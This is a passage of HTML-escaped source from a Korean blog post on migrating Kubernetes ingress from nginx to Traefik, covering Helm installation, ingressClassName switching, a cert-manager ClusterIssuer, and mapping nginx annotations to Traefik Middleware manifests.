SIwtCMj4Qic7cMTGhBqQDyAbQjxkwzMuFMQC5iJAt4NfOnZol6h1Y+ml0kevTbhmOsh6e3eT/hxL6xjL90geYLcPrXZ3bd68audx55LICxlcqjxmfD5ei9EvJ6TX1DzB8AnbNZJb2H+ci/GA1SEfdmm3S8QONj9d7rio94iybV/Z+FogZjxu/Gryy9Hl2mP6wrRbmCPRe9Tvkdwl7Rts9pF484r/k+p9xErIoiIAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/556d61074bc8d2c3a426735fa7494a0f/a1b3b/diagram-migration-flow.webp 215w,
/static/556d61074bc8d2c3a426735fa7494a0f/fc700/diagram-migration-flow.webp 430w,
/static/556d61074bc8d2c3a426735fa7494a0f/521f7/diagram-migration-flow.webp 860w,
/static/556d61074bc8d2c3a426735fa7494a0f/cbd37/diagram-migration-flow.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/556d61074bc8d2c3a426735fa7494a0f/f7886/diagram-migration-flow.png 215w,
/static/556d61074bc8d2c3a426735fa7494a0f/bc750/diagram-migration-flow.png 430w,
/static/556d61074bc8d2c3a426735fa7494a0f/3e3fe/diagram-migration-flow.png 860w,
/static/556d61074bc8d2c3a426735fa7494a0f/64756/diagram-migration-flow.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/556d61074bc8d2c3a426735fa7494a0f/3e3fe/diagram-migration-flow.png&apos; alt=&apos;nginx→Traefik 마이그레이션 4단계 타임라인 — 설치·검증·점진 전환·제거 단계별 클러스터 상태&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;nginx→Traefik 마이그레이션 4단계 타임라인 — 설치·검증·점진 전환·제거 단계별 클러스터 상태&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;핵심 장치: &lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;쿠버네티스는 한 클러스터에 여러 Controller를 둘 수 있습니다. 각 Ingress가 &lt;code class=&quot;language-text&quot;&gt;ingressClassName: nginx&lt;/code&gt; 또는 &lt;code class=&quot;language-text&quot;&gt;ingressClassName: traefik&lt;/code&gt;으로 &lt;strong&gt;자기 Controller를 지정&lt;/strong&gt;합니다. 이 값만 바꾸면 &lt;strong&gt;그 Ingress 하나만&lt;/strong&gt; Traefik으로 넘어갑니다. 나머지는 영향 없음.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 기존 nginx로 처리되던 Ingress&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;ingressClassName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx     &lt;span class=&quot;token comment&quot;&gt;# ← 이걸&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Traefik으로 전환&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;ingressClassName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; traefik   &lt;span class=&quot;token comment&quot;&gt;# ← 이걸로&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;DNS 레코드나 LB IP는 &lt;strong&gt;바꾸지 않습니다&lt;/strong&gt; (후술).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1단계 — Traefik 설치&lt;/h2&gt;
&lt;p&gt;Helm으로 설치, nginx와 &lt;strong&gt;다른 네임스페이스&lt;/strong&gt;에 둡니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;helm repo &lt;span class=&quot;token function&quot;&gt;add&lt;/span&gt; traefik https://traefik.github.io/charts
helm repo update

helm &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; traefik traefik/traefik &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--namespace&lt;/span&gt; traefik --create-namespace &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--set&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ingressClass.enabled&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;true &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--set&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;ingressClass.isDefaultClass&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;false &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token parameter variable&quot;&gt;--set&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;service.type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;LoadBalancer&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;핵심 포인트:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;설정&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ingressClass.enabled=true&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;traefik&lt;/code&gt;라는 IngressClass 리소스 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ingressClass.isDefaultClass=false&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;기본값으로 두지 않음&lt;/strong&gt; — &lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt; 미지정 Ingress가 자동으로 Traefik으로 가지 않도록&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;service.type=LoadBalancer&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;새 LoadBalancer&lt;/strong&gt;(별도 공인 IP) 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;설치 확인:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl get svc &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; traefik
&lt;span class=&quot;token comment&quot;&gt;# traefik    LoadBalancer   &amp;lt;ClusterIP&gt;   &amp;lt;NEW_EXTERNAL_IP&gt;   80:...,443:...&lt;/span&gt;

kubectl get ingressclass
&lt;span class=&quot;token comment&quot;&gt;# NAME       CONTROLLER                     AGE&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# nginx      k8s.io/ingress-nginx           90d&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# traefik    traefik.io/ingress-controller  1m&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이제 &lt;strong&gt;IP 두 개가 공존&lt;/strong&gt;합니다. 하나는 nginx용(기존 DNS 연결), 하나는 Traefik용(아직 연결 안 됨).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2단계 — 비운영 Ingress로 검증&lt;/h2&gt;
&lt;p&gt;dev·staging 도메인 하나를 골라서 먼저 Traefik으로 전환합니다.&lt;/p&gt;
&lt;h3&gt;2-a) IngressClass만 변경 (가장 간단한 전환)&lt;/h3&gt;
&lt;p&gt;기존 &lt;code class=&quot;language-text&quot;&gt;dev.javapark.kr&lt;/code&gt; Ingress가 이랬다면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; networking.k8s.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Ingress
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dev&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app
  &lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;cert-manager.io/cluster-issuer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod
    &lt;span class=&quot;token key atrule&quot;&gt;nginx.ingress.kubernetes.io/force-ssl-redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;true&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# nginx 전용&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;ingressClassName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; nginx
  &lt;span class=&quot;token key atrule&quot;&gt;tls&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;hosts&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;dev.javapark.kr&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;secretName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dev&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;tls
  &lt;span class=&quot;token key atrule&quot;&gt;rules&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dev.javapark.kr
      &lt;span class=&quot;token key atrule&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;paths&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; /
            &lt;span class=&quot;token key atrule&quot;&gt;pathType&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Prefix
            &lt;span class=&quot;token key atrule&quot;&gt;backend&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
              &lt;span class=&quot;token key atrule&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; dev&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;svc
                &lt;span class=&quot;token key atrule&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                  &lt;span class=&quot;token key atrule&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;DNS를 새 IP(Traefik LB)로 바꾸고&lt;/strong&gt;, &lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt;을 &lt;code class=&quot;language-text&quot;&gt;traefik&lt;/code&gt;으로:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;ingressClassName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; traefik &lt;span class=&quot;token comment&quot;&gt;# ← 변경&lt;/span&gt;
  &lt;span class=&quot;token comment&quot;&gt;# 나머지는 동일 — Traefik이 기본 Ingress도 그대로 처리&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;HTTPS는 cert-manager가 그대로 해줍니다.&lt;/strong&gt; ClusterIssuer의 &lt;code class=&quot;language-text&quot;&gt;solvers&lt;/code&gt;가 &lt;code class=&quot;language-text&quot;&gt;class: nginx&lt;/code&gt;로 되어 있다면 &lt;code class=&quot;language-text&quot;&gt;class: traefik&lt;/code&gt;으로 수정한 ClusterIssuer를 &lt;strong&gt;하나 더&lt;/strong&gt; 만들거나, 기존 ClusterIssuer를 공용으로 쓸 수 있게 &lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt; 명시 없이 두는 방법이 있습니다.&lt;/p&gt;
&lt;h3&gt;2-b) ClusterIssuer 준비&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cert&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;manager.io/v1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ClusterIssuer
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;traefik
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;acme&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//acme&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;v02.api.letsencrypt.org/directory
    &lt;span class=&quot;token key atrule&quot;&gt;email&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; you@example.com
    &lt;span class=&quot;token key atrule&quot;&gt;privateKeySecretRef&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; letsencrypt&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;prod&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;traefik&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;key
    &lt;span class=&quot;token key atrule&quot;&gt;solvers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;http01&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;ingress&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token key atrule&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; traefik &lt;span class=&quot;token comment&quot;&gt;# ← Traefik용&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;검증 방법:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# DNS 전파 확인&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;dig&lt;/span&gt; dev.javapark.kr +short
&lt;span class=&quot;token comment&quot;&gt;# → Traefik LB IP 나오는지&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# HTTPS 접근&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;curl&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-vI&lt;/span&gt; https://dev.javapark.kr
&lt;span class=&quot;token comment&quot;&gt;# → 인증서 발급 + 정상 응답 확인&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Traefik 내부 라우터 확인 (Dashboard 활용, 후술)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;3단계 — 운영 Ingress 점진 전환&lt;/h2&gt;
&lt;p&gt;검증이 끝나면 본격 전환. &lt;strong&gt;한 번에 전부 바꾸지 마세요.&lt;/strong&gt; 권장 순서:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;트래픽 낮은 시간대&lt;/strong&gt; (새벽) 작업&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;도메인별&lt;/strong&gt; 또는 &lt;strong&gt;팀별&lt;/strong&gt;로 나눠서 2~3일 간격&lt;/li&gt;
&lt;li&gt;각 전환 후 &lt;strong&gt;모니터링 1시간&lt;/strong&gt; (에러율·응답시간·인증서 상태)&lt;/li&gt;
&lt;li&gt;문제 발생 시 &lt;strong&gt;즉시 롤백&lt;/strong&gt; (DNS 또는 ingressClassName 되돌림)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;annotation을 Traefik Middleware로 교체&lt;/h3&gt;
&lt;p&gt;이 단계가 가장 신경 쓰이는 부분입니다. nginx-ingress annotation을 Traefik 문법으로 맵핑:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;nginx annotation&lt;/th&gt;
&lt;th&gt;Traefik 대응&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;nginx.ingress.kubernetes.io/force-ssl-redirect: &quot;true&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Middleware&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;redirectScheme&lt;/code&gt; (HTTPS 강제) 또는 entrypoint 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;nginx.ingress.kubernetes.io/proxy-body-size: 50m&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Middleware &lt;code class=&quot;language-text&quot;&gt;buffering.maxRequestBodyBytes&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;nginx.ingress.kubernetes.io/rewrite-target: /$2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Middleware &lt;code class=&quot;language-text&quot;&gt;replacePathRegex&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;nginx.ingress.kubernetes.io/enable-cors: &quot;true&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Middleware &lt;code class=&quot;language-text&quot;&gt;headers&lt;/code&gt; (Access-Control-*)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;nginx.ingress.kubernetes.io/rate-limit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Middleware &lt;code class=&quot;language-text&quot;&gt;rateLimit&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Middleware 예시:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; traefik.io/v1alpha1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Middleware
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; force&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;https
  &lt;span class=&quot;token key atrule&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; default
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;redirectScheme&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;scheme&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https
    &lt;span class=&quot;token key atrule&quot;&gt;permanent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; traefik.io/v1alpha1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Middleware
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cors&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;headers
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;accessControlAllowOriginList&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;https://app.example.com&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;accessControlAllowMethods&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; GET
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; POST
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; OPTIONS
    &lt;span class=&quot;token key atrule&quot;&gt;accessControlMaxAge&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;86400&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ingress에 연결 (annotation으로 붙이는 방식):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;annotations&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;traefik.ingress.kubernetes.io/router.middlewares&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; default&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;force&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;https@kubernetescrd&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;default&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;cors&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;headers@kubernetescrd&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 팁:&lt;/strong&gt; Middleware는 &lt;strong&gt;네임스페이스 리소스&lt;/strong&gt;라 &lt;code class=&quot;language-text&quot;&gt;&amp;lt;namespace&gt;-&amp;lt;name&gt;@kubernetescrd&lt;/code&gt; 형식의 정식 이름으로 참조해야 합니다. 오타 1위 원인.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;IngressRoute CRD로 점진적 전환 (선택)&lt;/h3&gt;
&lt;p&gt;더 풍부한 기능을 쓰려면 &lt;code class=&quot;language-text&quot;&gt;Ingress&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;IngressRoute&lt;/code&gt;로 바꿉니다. 같은 리소스를 Traefik 네이티브 방식으로:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; traefik.io/v1alpha1
&lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; IngressRoute
&lt;span class=&quot;token key atrule&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; my&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;app
&lt;span class=&quot;token key atrule&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;entryPoints&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; websecure
